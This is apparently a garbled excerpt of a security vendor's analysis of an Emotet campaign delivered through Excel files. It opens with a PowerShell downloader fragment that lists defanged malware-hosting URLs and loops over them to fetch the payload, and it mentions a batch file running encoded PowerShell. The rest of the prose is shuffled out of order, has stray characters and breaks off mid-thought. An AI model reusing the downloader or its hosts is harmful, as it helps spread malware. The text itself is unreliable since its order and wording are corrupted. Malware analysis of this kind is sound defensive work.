$MJXdfshDrfGZses4=" hxxps://youlandaorg/eln-images/n8DPZISf/, hxxp://rosevideonet/eln-images/EjdCoMlY8Gy/, hxxp://vbaintcom/eln-images/H2pPGte8XzENC/, hxxps://framemakersus/eln-images/U5W2IGE9m8i9h9r/, hxxp://niplawcom/asolidfoundation/圜E9/, ,, fonts/JO5/, ,, ,, , hxxp://rosewoodcraftcom/Merchant2/5.00/PGqX/ ".sPLIt(",") įoReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4) To better understand its intention, I have decoded it below: “uidpjewl.bat” file is a DOS batch file containing the PowerShell code, which is encoded many times. It runs the early extracted “uidpjewl.bat” file, which downloads the Emotet payload file. Impact: Controls victim’s device and collects sensitive information In this part I of my analysis, you can expect to learn: how an Excel file is leveraged to spread Emotet, what anti-analysis techniques Emotet uses in this variant, how it maintains persistence on a victim’s device, how this Emotet variant communicates with its C2 server, and how other modules are delivered, loaded, and executed on a victim’s system. This time, I grabbed an Excel file from the captured samples and conducted deep research on this campaign. Our FortiGuard Labs team has monitored Emotet Trojan campaigns in the past and posted numerous technical analysis blogs. Emotet uses social engineering, like email, to lure recipients into opening attached document files (including Word, Excel, PDF, etc.) or clicking links within the content of the email that download Emotet’s latest variant onto the victim’s device and then execute it. It has also been highlighted in cybersecurity news from time to time. Since then, it has become very active, continually updating itself. Recently, Fortinet’s FortiGuard Labs captured more than 500 Microsoft Excel files that were involved in a campaign to deliver a fresh Emotet Trojan onto the victim’s device.Įmotet, known as a modular Trojan, was first discovered in the middle of 2014.
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